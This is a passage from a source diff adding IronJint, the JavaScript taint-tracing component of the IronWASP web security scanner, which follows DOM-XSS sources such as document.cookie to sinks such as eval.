Contexts.Add("DoubleQuoteStringValue"); - else if (MatchPosition < Code.Length - 1) - { - if (CodeArray[MatchPosition + 1] == '\'') - Contexts.Add("SingleQuoteStringValue"); - else if (CodeArray[MatchPosition + 1] == '"') - Contexts.Add("DoubleQuoteStringValue"); - } - } - } - return Contexts; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using Jint; +using Jint.Expressions; +using Antlr.Runtime; +using System.Threading; +using System.Windows.Forms; +using jsbeautifylib; + +namespace IronWASP +{ + public class IronJint + { + static Thread UITraceThread; + + internal static IronJint UIIJ = new IronJint(); + + internal static List DefaultSourceObjects = new List();// { "document.URL", "document.documentURI", "document.URLUnencoded", "document.baseURI", "location", "location.href", "location.search", "location.hash", "location.pathname", "document.cookie", "document.referrer", "window.name" }; + internal static List DefaultSinkObjects = new List();// { "location", "location.href", "location.pathname", "location.search", "location.protocol", "location.hostname" }; + internal static List DefaultSourceReturningMethods = new List();// { }; + internal static List DefaultSinkReturningMethods = new List();// { }; + internal static List DefaultArgumentReturningMethods = new List();// { }; + internal static List DefaultArgumentAssignedToSinkMethods = new List();// { "eval(!)", "Function()", "setTimeout(!,0)", "setInterval(!,0)" }; + internal static List DefaultArgumentAssignedASourceMethods = new List();// { }; + + static string InputCodeString = ""; + static List ConfiguredSourceObjects = new List(); + static List ConfiguredSinkObjects = new List(); + static List ConfiguredSourceReturningMethods = new List(); + static List ConfiguredSinkReturningMethods = new List(); + static List ConfiguredArgumentReturningMethods = new List(); + static List ConfiguredArgumentAssignedToSinkMethods = new List(); + static List ConfiguredArgumentAssignedASourceMethods = new List(); + + internal static bool PauseAtTaint = false; + + internal static List SourceLinesToIgnore = new List(); + internal static List SinkLinesToIgnore = new List(); + + internal static List SourceLinesToInclude = new List(); + internal static List SinkLinesToInclude = new List(); + + internal List> SourceItems = new List>(); + internal List> SinkItems = new List>(); + + public List Lines = new List(); + public List SourceLines = new List(); + public List SinkLines = new List(); + public List SourceToSinkLines = new List(); + + + internal Dictionary> SourceReasons = new Dictionary>(); + internal Dictionary> SinkReasons = new Dictionary>(); + + internal List> SourceTaintedItems = new List>(); + internal List> SinkTaintedItems = new List>(); + + internal List> GlobalVariables = new List>(); + internal List> GlobalMethods = new List>(); + + //to be initialized from the UI + internal List> SourceObjects = new List>(); + internal List> SinkObjects = new List>(); + internal List> SourceReturningMethods = new List>(); + internal List> SinkReturningMethods = new List>(); + internal List> ArgumentReturningMethods = new List>(); + internal List> ArgumentAssignedToSinkMethods = new List>(); + internal List> ArgumentAssignedASourceMethods = new List>(); + + internal Dictionary>> InterestingStringHolders = new Dictionary>>(); + + long AnalyzeCallStartTime = 0; + + //Used by the UI + internal static Dictionary LineNoToGridRowNoMapping = new Dictionary(); + + //this is to avoid recursive looping to go on for ever + //Test Case that causes stack-overflow: + //o[o.x] = "0"; + // p[o.y] = 1; + // + List> SentForStringConversion = new List>(); + + internal List JintStack = new List(); + + internal int CurrentLineNo = 0; + internal int CurrentCharNo = 0; + + public List RawLines = new List(); + + internal bool TraceKeyword = false; + internal string KeywordToTrace = ""; + public List KeywordContexts = new List(); + + bool StartedFromUI = false; + internal ManualResetEvent MSR = new ManualResetEvent(false); + + public static string Beautify(string Code) + { + JSBeautify JB = new JSBeautify(Code, new JSBeautifyOptions()); + string BeautifiedCode = JB.GetResult(); + return BeautifiedCode; + } + + //internal static void StartTraceFromUI(string Code, List SourceObjs, List SinkObjs, List SourceRetMets, List SinkRetMets, List ArgRetMets, List ArgAssASourceMets, List ArgAssToSinkMets) + //{ + // StopUITrace(); + // SourceLinesToIgnore.Clear(); + // SinkLinesToIgnore.Clear(); + // SourceLinesToInclude.Clear(); + // SinkLinesToInclude.Clear(); + + // InputCodeString = Code; + // ConfiguredSourceObjects = SourceObjs; + // ConfiguredSinkObjects = SinkObjs; + // ConfiguredSourceReturningMethods = SourceRetMets; + // ConfiguredSinkReturningMethods = SinkRetMets; + // ConfiguredArgumentReturningMethods = ArgRetMets; + // ConfiguredArgumentAssignedASourceMethods = ArgAssASourceMets; + // ConfiguredArgumentAssignedToSinkMethods = ArgAssToSinkMets; + + // UITraceThread = new Thread(TraceFromUI); + // UITraceThread.Start(); + //} + + //internal static void ReDoTraceFromUI() + //{ + // UITraceThread = new Thread(TraceFromUI); + // UITraceThread.Start(); + //} + + //internal static void StopUITrace() + //{ + // try + // { + // UITraceThread.Abort(); + // } + // catch { } + //} + + //internal static void TraceFromUI() + //{ + // try + // { + // IronUI.ShowTraceStatus("Trace in progress...", false); + // IronJint IJ = new IronJint(); + // UIIJ = IJ; + // IJ.SetSourcesAndSinks(ConfiguredSourceObjects, ConfiguredSinkObjects, ConfiguredSourceReturningMethods, ConfiguredSinkReturningMethods, ConfiguredArgumentReturningMethods, ConfiguredArgumentAssignedASourceMethods, ConfiguredArgumentAssignedToSinkMethods); + // IJ.ClearAllTaint(); + // IJ.JintStack.Clear(); + // string DirtyJS = ""; + // if (Tools.IsJavaScript(InputCodeString)) + // { + // DirtyJS = InputCodeString; + // } + // else + // { + // try + // { + // HTML H = new HTML(InputCodeString); + // List Scripts = H.GetJavaScript(); + // StringBuilder ScriptString = new StringBuilder(); + // foreach (string Script in Scripts) + // { + // ScriptString.AppendLine(Script); + // } + // DirtyJS = ScriptString.ToString(); + // } + // catch + // { + // throw new Exception("Entered text does not contain valid JavaScript"); + // } + // } + // if (DirtyJS.Length == 0) + // { + // throw new Exception("No valid JavaScript input available to trace"); + // } + // string CleanCode = Beautify(DirtyJS); + // IronUI.SetJSTaintTraceCode(CleanCode, false); + // IJ.Lines = SplitCodeLines(CleanCode); + // if (PauseAtTaint) IronUI.SetJSTaintTraceResult(); + // IJ.StartedFromUI = true; + // IJ.Analyze(CleanCode); + // if (!PauseAtTaint) IronUI.SetJSTaintTraceResult(); + // IronUI.ShowTraceStatus("Trace Completed", false); + // IronUI.ResetTraceStatus(); + // } + // catch(ThreadAbortException) + // {} + // catch(Exception Exp) + // { + // StopUITrace(); + // IronUI.ResetTraceStatus(); + // IronUI.ShowTraceStatus("Trace Stopped due to error: " + Exp.Message, true); + // IronException.Report("Error performing JS Taint Trace", Exp.Message, Exp.StackTrace); + // } + //} + + public static List SplitCodeLines(string Code) + { + string[] UnTrimmedLines = Code.Split(new string[] { "\r\n" }, StringSplitOptions.None); + List TrimmedLines = new List(); + foreach (string Line in UnTrimmedLines) + { + string TrimmedLine = Line.Trim(); + if (TrimmedLine.Length > 0) + { + TrimmedLines.Add(TrimmedLine); + } + } + return TrimmedLines; + } + + public static TraceResult Trace(string Code) + { + TraceResult TR = new TraceResult(); + try + { + IronJint IJ = new IronJint(); + IJ.AnalyzeCallStartTime = 0; + IJ.SetSourcesAndSinks(DefaultSourceObjects, DefaultSinkObjects, DefaultSourceReturningMethods, DefaultSinkReturningMethods, DefaultArgumentReturningMethods, DefaultArgumentAssignedASourceMethods, DefaultArgumentAssignedToSinkMethods); + IJ.ClearAllTaint(); + IJ.JintStack.Clear(); + string CleanCode = Beautify(Code); + + IJ.Analyze(CleanCode); + + TR.Lines.AddRange(IJ.RawLines); + TR.SourceLineNos.AddRange(IJ.SourceLines); + TR.SinkLineNos.AddRange(IJ.SinkLines); + TR.SourceToSinkLineNos.AddRange(IJ.SourceToSinkLines); + foreach (int LineNo in TR.SourceLineNos) + { + TR.SourceLines.Add(IJ.RawLines[LineNo - 1]); + } + foreach (int LineNo in TR.SinkLineNos) + { + TR.SinkLines.Add(IJ.RawLines[LineNo - 1]); + } + foreach (int LineNo in TR.SourceToSinkLineNos) + { + TR.SourceToSinkLines.Add(IJ.RawLines[LineNo - 1]); + } + } + catch (TimeoutException){} + return TR; + } + + public static TraceResult Trace(string Code, string Keyword) + { + TraceResult TR = new TraceResult(); + try + { + IronJint IJ = new IronJint(); + IJ.AnalyzeCallStartTime = 0; + IJ.SetSourcesAndSinks(new List() { Keyword }, DefaultSinkObjects, new List(), DefaultSinkReturningMethods, DefaultArgumentReturningMethods, DefaultArgumentAssignedASourceMethods, DefaultArgumentAssignedToSinkMethods); + IJ.ClearAllTaint(); + IJ.JintStack.Clear(); + IJ.KeywordToTrace = Keyword; + IJ.TraceKeyword = true; + string CleanCode = Beautify(Code); + //List Lines = new List(CleanCode.Split(new string[] { "\r\n" }, StringSplitOptions.None)); + + IJ.Analyze(CleanCode); + //return IJ; + + TR.Lines.AddRange(IJ.RawLines); + TR.SourceLineNos.AddRange(IJ.SourceLines); + TR.SinkLineNos.AddRange(IJ.SinkLines); + TR.SourceToSinkLineNos.AddRange(IJ.SourceToSinkLines); + foreach (int LineNo in TR.SourceLineNos) + { + TR.SourceLines.Add(IJ.RawLines[LineNo - 1]); + } + foreach (int LineNo in TR.SinkLineNos) + { + TR.SinkLines.Add(IJ.RawLines[LineNo - 1]); + } + foreach (int LineNo in TR.SourceToSinkLineNos) + { + TR.SourceToSinkLines.Add(IJ.RawLines[LineNo - 1]); + } + TR.KeywordContexts.AddRange(IJ.KeywordContexts); + } + catch(TimeoutException) { } + return TR; + } + + public static bool IsExpressionStatement(string Code, string Keyword) + { + //string CleanCode = Beautify(Code); + LinkedList Statements = GetStatementsFromCode(Code, false); + foreach (Statement Stmt in Statements) + { + if (Stmt.GetType().Name.Equals("ExpressionStatement")) + { + ExpressionStatement ExS = (ExpressionStatement)Stmt; + if (ExS.Expression.GetType().Name.Equals("Identifier")) + { + Identifier Id = (Identifier)ExS.Expression; + if (Id.Text.Equals(Keyword)) + { + return true; + } + } + } + } + return false; + } + + internal void Analyze(string Code) + { + if (IsTimedOut()) return; + RawLines.Clear(); + Analyze(new List() { Code }); + } + + internal void Analyze(List Codes) + { + if (IsTimedOut()) return; + RawLines.Clear(); + foreach (string C in Codes) + { + RawLines.AddRange(SplitCodeLines(C)); + } + JintStack.Clear(); + LinkedList Statements = GetStatementsFromCode(Codes); + Analyze(Statements); + } + + internal static LinkedList GetStatementsFromCode(string Code) + { + return GetStatementsFromCode(Code, true); + } + + internal static LinkedList GetStatementsFromCode(string Code, bool IgnoreErrors) + { + return GetStatementsFromCode(new List() { Code }, IgnoreErrors); + } + + internal static LinkedList GetStatementsFromCode(List Codes) + { + return GetStatementsFromCode(Codes, true); + } + + internal static LinkedList GetStatementsFromCode(List Codes, bool IgnoreErrors) + { + StringBuilder CodeBuilder = new StringBuilder(); + foreach (string C in Codes) + { + CodeBuilder.Append(C); + if (!C.EndsWith("\n")) + { + CodeBuilder.Append("\r\n"); + } + } + string Code = CodeBuilder.ToString(); + if (Code.Length == 0) return new LinkedList(); + JintEngine Eng = new JintEngine(Options.Ecmascript3); + + ES3Lexer Lexer = new ES3Lexer(new ANTLRStringStream(Code)); + ES3Parser Parser = new ES3Parser(new CommonTokenStream(Lexer)) { DebugMode = true }; + Jint.Expressions.Program Prog = Parser.program().value; + if (Parser.Errors != null && Parser.Errors.Count > 0 && !IgnoreErrors) + { + throw new Exception("Invalid JavaScript Syntax"); + } + return Prog.Statements; + } + + + + void Analyze(LinkedList Statements) + { + if (IsTimedOut()) return; + + foreach (Statement Stmt in Statements) + { + if (Stmt != null) Analyze(Stmt); + } + //Statement[] Stmts = new Statement[Statements.Count]; + //Statements.CopyTo(Stmts, 0); + //for (int i = 0; i < Stmts.Length; i++) + //{ + + // if (Stmts[i] != null) Analyze(Stmts[i]); + //} + } + + void Analyze(List Statements) + { + if (IsTimedOut()) return; + for (int i = 0; i < Statements.Count; i++) + { + if (Statements[i] != null) Analyze(Statements[i]); + } + } + + void Analyze(Jint.Expressions.Statement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + Type T = Stmt.GetType(); + switch (T.Name) + { + case("ArrayDeclaration"): + ArrayDeclaration AD = (ArrayDeclaration)Stmt; + Analyze(AD); + break; + case ("AssignmentExpression"): + AssignmentExpression AE = (AssignmentExpression)Stmt; + Analyze(AE); + break; + case ("BinaryExpression"): + BinaryExpression BE = (BinaryExpression)Stmt; + Analyze(BE); + break; + case ("BlockStatement"): + BlockStatement BS = (BlockStatement)Stmt; + Analyze(BS); + break; + case ("BreakStatement"): + BreakStatement BrS = (BreakStatement)Stmt; + Analyze(BrS); + break; + case ("CaseClause"): + CaseClause CC = new CaseClause(); + try + { + CC.Expression = (Expression)Stmt; + Analyze(CC); + } + catch { } + break; + case ("CatchClause"): + try + { + CatchClause CaC = new CatchClause("a", Stmt); + Analyze(CaC); + } + catch { } + break; + case ("ClrIdentifier"): + ClrIdentifier CI = (ClrIdentifier)Stmt; + Analyze(CI); + break; + case ("CommaOperatorStatement"): + CommaOperatorStatement COS = (CommaOperatorStatement)Stmt; + Analyze(COS); + break; + case ("ContinueStatement"): + ContinueStatement CS = (ContinueStatement)Stmt; + Analyze(CS); + break; + case ("DoWhileStatement"): + DoWhileStatement DWS = (DoWhileStatement)Stmt; + Analyze(DWS); + break; + case ("EmptyStatement"): + EmptyStatement ES = (EmptyStatement)Stmt; + Analyze(ES); + break; + case ("ExpressionStatement"): + ExpressionStatement ExS = (ExpressionStatement)Stmt; + Analyze(ExS); + break; + case ("FinallyClause"): + try + { + FinallyClause FC = new FinallyClause(Stmt); + Analyze(FC); + } + catch { } + break; + case ("ForEachInStatement"): + ForEachInStatement FEIS = (ForEachInStatement)Stmt; + Analyze(FEIS); + break; + case ("ForStatement"): + ForStatement FoS = (ForStatement)Stmt; + Analyze(FoS); + break; + case ("FunctionDeclarationStatement"): + FunctionDeclarationStatement FDS = (FunctionDeclarationStatement)Stmt; + Analyze(FDS); + break; + case ("FunctionExpression"): + FunctionExpression FE = (FunctionExpression)Stmt; + Analyze(FE); + break; + case ("Identifier"): + Identifier Id = (Identifier)Stmt; + Analyze(Id); + break; + case ("IfStatement"): + IfStatement IS = (IfStatement)Stmt; + Analyze(IS); + break; + case ("Indexer"): + Indexer Ind = (Indexer)Stmt; + Analyze(Ind); + break; + case ("JsonExpression"): + JsonExpression JE = (JsonExpression)Stmt; + Analyze(JE); + break; + case ("MemberExpression"): + MemberExpression ME = (MemberExpression)Stmt; + Analyze(ME); + break; + case ("MethodCall"): + MethodCall MC = (MethodCall)Stmt; + Analyze(MC); + break; + case ("NewExpression"): + NewExpression NE = (NewExpression)Stmt; + Analyze(NE); + break; + case ("Program"): + Jint.Expressions.Program Pr = (Jint.Expressions.Program)Stmt; + Analyze(Pr); + break; + case ("PropertyDeclarationExpression"): + PropertyDeclarationExpression PDP = (PropertyDeclarationExpression)Stmt; + Analyze(PDP); + break; + case ("PropertyExpression"): + PropertyExpression PE = (PropertyExpression)Stmt; + Analyze(PE); + break; + case ("RegexpExpression"): + RegexpExpression RE = (RegexpExpression)Stmt; + Analyze(RE); + break; + case ("ReturnStatement"): + ReturnStatement RS = (ReturnStatement)Stmt; + Analyze(RS); + break; + case ("SwitchStatement"): + SwitchStatement SS = (SwitchStatement)Stmt; + Analyze(SS); + break; + case ("TernaryExpression"): + TernaryExpression TE = (TernaryExpression)Stmt; + Analyze(TE); + break; + case ("ThrowStatement"): + ThrowStatement TS = (ThrowStatement)Stmt; + Analyze(TS); + break; + case ("TryStatement"): + TryStatement TrS = (TryStatement)Stmt; + Analyze(TrS); + break; + case ("UnaryExpression"): + UnaryExpression UE = (UnaryExpression)Stmt; + Analyze(UE); + break; + case ("ValueExpression"): + ValueExpression VE = (ValueExpression)Stmt; + Analyze(VE); + break; + case ("VariableDeclarationStatement"): + VariableDeclarationStatement VDS = (VariableDeclarationStatement)Stmt; + Analyze(VDS); + break; + case ("WhileStatement"): + WhileStatement WS = (WhileStatement)Stmt; + Analyze(WS); + break; + case ("WithStatement"): + WithStatement WiS = (WithStatement)Stmt; + Analyze(WiS); + break; + } + } + + void Analyze(List Statements) + { + if (IsTimedOut()) return; + for (int i = 0; i < Statements.Count; i++) + { + bool IsMethodArgument = false; + int StatusIndex = 0; + if (JintStack.Count > 0) + { + JintItem LastItem = JintStack[JintStack.Count - 1]; + if (LastItem.State == JintState.MethodCallName || LastItem.State == JintState.MethodCallArgument) + { + IsMethodArgument = true; + StatusIndex = AddToJintStack(Statements[i].Source, JintState.MethodCallArgument); + } + } + + if (Statements[0] != null) Analyze(Statements[i]); + if (IsMethodArgument) + { + if (JintStack.Count > 0 && (JintStack.Count > StatusIndex + 1)) + { + List ArgumentItems = RemoveJintStackFrom(StatusIndex + 1); + List ArgumentItem = RemoveJintStackFrom(StatusIndex); + ArgumentItem[0].SubItems = new List(ArgumentItems); + JintStack.Add(ArgumentItem[0]); + } + } + } + } + + void Analyze(ArrayDeclaration Stmt) + { + if (IsTimedOut()) return; + if (Stmt.Parameters != null) + { + int StatusIndex = AddToJintStack(Stmt.Source, JintState.ArrayDeclaration); + Analyze(Stmt.Parameters); + RemoveJintStackFrom(StatusIndex); + } + } + + void Analyze(AssignmentExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + List LeftItems = new List(); + List> LeftItemParts = new List>(); + List> SinkTaintedLeftItems = new List>(); + + ItemChecker TC = new ItemChecker(this); + + if (Stmt.Left != null) + { + int StatusIndex = AddToJintStack(Stmt.Left.Source, JintState.AssignmentExpressionLeft); + Analyze(Stmt.Left); + LeftItems = RemoveJintStackFrom(StatusIndex + 1); + + LeftItemParts = ItemChecker.GetItemParts(LeftItems); + + foreach (List LeftItemPart in LeftItemParts) + { + TaintResult LeftResult = TC.Check(LeftItemPart); + if (LeftResult.SinkTaint) + { + SinkTaintedLeftItems.Add(LeftItemPart); + if (LeftItemPart.Count > 0) + AddSinkLine(LeftItemPart[0].LineNo, LeftResult.SinkReasons); + else + AddSinkLine(CurrentLineNo, LeftResult.SinkReasons); + } + } + RemoveJintStackFrom(StatusIndex); + } + List RightItems = new List(); + if (Stmt.Right != null) + { + int StatusIndex = AddToJintStack(Stmt.Left.Source, JintState.AssignmentExpressionRight); + Analyze(Stmt.Right); + RightItems = RemoveJintStackFrom(StatusIndex + 1); + + if (Stmt.Right.GetType().Name.Equals("AssignmentExpression")) + { + Analyze(((AssignmentExpression)Stmt.Right).Left); + RightItems = RemoveJintStackFrom(StatusIndex + 1); + } + + List> RightItemParts = ItemChecker.GetItemParts(RightItems); + UpdateMappings(LeftItems, RightItemParts); + + foreach (List RightItemPart in RightItemParts) + { + TaintResult RightResult = TC.Check(RightItemPart); + if (RightResult.SourceTaint) + { + foreach (JintItem Item in LeftItems) + { + Item.SourceReasons.AddRange(RightResult.SourceReasons); + } + AddToSourceObjects(LeftItems); + if (RightItems.Count > 0) + AddSourceLine(RightItemPart[0].LineNo, RightResult.SourceReasons); + else + AddSourceLine(CurrentLineNo, RightResult.SourceReasons); + if (SinkTaintedLeftItems.Count > 0) + if (LeftItems.Count > 0) + AddSourceToSinkLine(LeftItems[0].LineNo); + else + AddSourceToSinkLine(CurrentLineNo); + } + else + { + foreach (List LeftItemPart in LeftItemParts) + { + RemoveFromSourceTaintedItems(LeftItemPart); + } + } + if (RightResult.SinkTaint) + { + foreach (JintItem Item in LeftItems) + { + Item.SinkReasons.AddRange(RightResult.SinkReasons); + } + foreach (List LeftItemPart in LeftItemParts) + { + AddToSinkObjects(LeftItemPart); + } + if (RightItems.Count > 0) + AddSinkLine(RightItemPart[0].LineNo, RightResult.SinkReasons); + else + AddSinkLine(CurrentLineNo, RightResult.SinkReasons); + } + else + { + foreach (List LeftItemPart in LeftItemParts) + { + RemoveFromSinkTaintedItems(LeftItemPart); + } + } + } + RemoveJintStackFrom(StatusIndex); + } + } + + void Analyze(BinaryExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.LeftExpression != null) Analyze(Stmt.LeftExpression); + AddToJintStack(Stmt.Source, JintState.BinaryOperator, ""); + if (Stmt.RightExpression != null) Analyze(Stmt.RightExpression); + } + + void Analyze(BlockStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if(Stmt.Statements != null) Analyze(Stmt.Statements); + } + + void Analyze(BreakStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + } + + void Analyze(CaseClause Stmt) + { + if (IsTimedOut()) return; + if (Stmt.Statements != null) Analyze(Stmt.Statements); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + } + + void Analyze(CatchClause Stmt) + { + if (IsTimedOut()) return; + //if (Stmt.Identifier != null) Analyze(Stmt.Identifier); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(ClrIdentifier Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + //if (Stmt.Text != null) Analyzer.CheckIdentifier(Stmt.Text); + } + + void Analyze(CommaOperatorStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Statements != null) Analyze(Stmt.Statements); + } + + void Analyze(ContinueStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + } + + void Analyze(DoWhileStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if(Stmt.Condition != null) Analyze(Stmt.Condition); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(EmptyStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + } + + void Analyze(ExpressionStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + if (TraceKeyword) + { + if(Stmt.Expression.GetType().Name.Equals("Identifier")) + { + Identifier Id = (Identifier)Stmt.Expression; + if(Id.Text.Equals(KeywordToTrace, StringComparison.OrdinalIgnoreCase)) + { + KeywordContexts.Add("Expression"); + } + } + } + } + + void Analyze(FinallyClause Stmt) + { + if (IsTimedOut()) return; + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(ForEachInStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + if (Stmt.InitialisationStatement != null) Analyze(Stmt.InitialisationStatement); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(ForStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.ConditionExpression != null) Analyze(Stmt.ConditionExpression); + if (Stmt.IncrementExpression != null) Analyze(Stmt.IncrementExpression); + if (Stmt.InitialisationStatement != null) Analyze(Stmt.InitialisationStatement); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(FunctionDeclarationStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Name != null) + { + int StatusIndex = AddToJintStack(Stmt.Source, JintState.MethodName); + JintStack[StatusIndex].Value = Stmt.Name; + //Analyzer.CheckIdentifier(Stmt.Name); + } + if (Stmt.Parameters != null) + { + for (int i=0; i< Stmt.Parameters.Count; i++) + { + if (Stmt.Parameters[i] != null) + { + AddToJintStack(Stmt.Source, JintState.MethodArgumentIdentifier); + } + } + } + if (Stmt.Statement != null) + { + //function body is declared here. Variable scoping etc must be handled. + Analyze(Stmt.Statement); + } + } + + void Analyze(FunctionExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(Identifier Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Text != null) + { + if (JintStack.Count == 0) + { + AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); + return; + } + int LastItem = JintStack.Count - 1; + switch (JintStack[LastItem].State) + { + case (JintState.AssignmentExpressionLeft): + case (JintState.AssignmentExpressionRight): + case (JintState.MethodCallArgument): + AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); + break; + case (JintState.Identifier): + AddToJintStack(Stmt.Source, JintState.Property, Stmt.Text); + break; + case (JintState.Indexer): + AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); + break; + case(JintState.MethodArgument): + RemoveJintStackFrom(JintStack.Count - 1); + AddToJintStack(Stmt.Source, JintState.MethodArgumentIdentifier, Stmt.Text); + break; + default: + AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); + break; + } + } + } + + void Analyze(IfStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + if (Stmt.Then != null) Analyze(Stmt.Then); + if (Stmt.Else != null) Analyze(Stmt.Else); + } + + void Analyze(Indexer Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Index != null) + { + int StatusIndex = AddToJintStack(Stmt.Source, JintState.Indexer); + Analyze(Stmt.Index); + if (JintStack[StatusIndex].State == JintState.Indexer) + { + List SubItems = RemoveJintStackFrom(StatusIndex + 1); + if (SubItems.Count > 1) + { + JintStack[StatusIndex].SubItems = new List(SubItems); + } + else if (SubItems.Count == 1) + { + if (SubItems[0].State == JintState.Identifier) + { + JintStack[StatusIndex].State = JintState.IdentifierIndex; + JintStack[StatusIndex].Value = SubItems[0].Value; + } + else if (SubItems[0].State == JintState.StringValue) + { + JintStack[StatusIndex].State = JintState.StringIndex; + JintStack[StatusIndex].Value = SubItems[0].Value; + } + else if (SubItems[0].State == JintState.IntValue) + { + JintStack[StatusIndex].State = JintState.IntIndex; + JintStack[StatusIndex].Value = SubItems[0].Value; + } + } + } + } + } + + void Analyze(JsonExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Values != null) + { + foreach(string Name in Stmt.Values.Keys) + { + //if (Name != null) Analyzer.CheckIdentifier(Name); + Analyze(Stmt.Values[Name]); + } + } + } + + void Analyze(MemberExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Previous != null) Analyze(Stmt.Previous); + if (Stmt.Member != null) Analyze(Stmt.Member); + } + + void Analyze(MethodCall Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + int LineNo = CurrentLineNo; + JintItem LastItem; + if (JintStack.Count > 0) + { + LastItem = JintStack[JintStack.Count - 1]; + if (LastItem.State == JintState.MethodCallArgument || LastItem.State == JintState.MethodName) + { + LastItem = new JintItem(CurrentLineNo, 0, JintState.AnonymousMethod); + JintStack.Add(LastItem); + } + } + else + { + LastItem = new JintItem(CurrentLineNo, 0, JintState.AnonymousMethod); + JintStack.Add(LastItem); + } + int MethodCallIndex = 0; + if (LastItem.State == JintState.Identifier || LastItem.State == JintState.Property || LastItem.State == JintState.Indexer || LastItem.State == JintState.StringIndex || LastItem.State == JintState.IdentifierIndex || LastItem.State == JintState.IntIndex || LastItem.State == JintState.AnonymousMethod || LastItem.LineNo != LineNo) + { + RemoveJintStackFrom(JintStack.Count - 1); + if (LastItem.State == JintState.Identifier || LastItem.State == JintState.Property) + JintStack.Add(new JintItem(LastItem.LineNo, LastItem.CharNo, JintState.MethodCallName, LastItem.Value)); + else + JintStack.Add(new JintItem(LastItem.LineNo, LastItem.CharNo, JintState.MethodCallName, "")); + + LineNo = LastItem.LineNo; + MethodCallIndex = JintStack.Count - 1; + + if (Stmt.Arguments != null) + { + if (Stmt.Arguments.Count > 0) + Analyze(Stmt.Arguments); + else + AddToJintStack(Stmt.Source, JintState.MethodCallArgument); + } + + List MethodRelatedItems = GetMethodItems(MethodCallIndex); + ItemChecker IC = new ItemChecker(this); + List MethodArguments = IC.GetLastMethodArguments(MethodRelatedItems); + List SourcePositions = new List(); + List SinkPositions = new List(); + + for (int i = 0; i < MethodArguments.Count; i++) + { + TaintResult Result = IC.Check(MethodArguments[i].SubItems); + if (Result.SourceTaint) + { + SourcePositions.Add(i); + Result.SourceReasons.Add("Method Argument is a Source"); + AddSourceLine(CurrentLineNo, Result.SourceReasons); + } + if (Result.SinkTaint) + { + SinkPositions.Add(i); + Result.SinkReasons.Add("Method Argument is a Sink"); + AddSinkLine(CurrentLineNo, Result.SinkReasons); + } + } + + foreach (List Template in ArgumentAssignedASourceMethods) + { + if(Template.Count == 0) continue; + TaintResult MethodResult = IC.IsMatch(MethodRelatedItems, Template); + if (MethodResult.NeutralReasons.Count > 0) + { + List TemplateArguments = IC.GetLastMethodArguments(Template); + if(TemplateArguments.Count == 0) continue; + AddSourceLine(LineNo, Template[0].SourceReasons); + if (TemplateArguments.Count == 1 && TemplateArguments[0].SubItems.Count == 0 && SinkPositions.Count > 0) + AddSourceToSinkLine(LineNo); + else if (MethodArguments.Count == TemplateArguments.Count) + { + foreach (int i in SinkPositions) + { + if(TemplateArguments.Count > i) + if(TemplateArguments[i].SubItems.Count > 0) + if(TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) + AddSourceToSinkLine(LineNo); + } + } + } + } + + foreach (List Template in ArgumentAssignedToSinkMethods) + { + if (Template.Count == 0) continue; + TaintResult MethodResult = IC.IsMatch(MethodRelatedItems, Template); + if (MethodResult.NeutralReasons.Count > 0) + { + List TemplateArguments = IC.GetLastMethodArguments(Template); + if (TemplateArguments.Count == 0) continue; + AddSinkLine(LineNo, Template[0].SinkReasons); + if 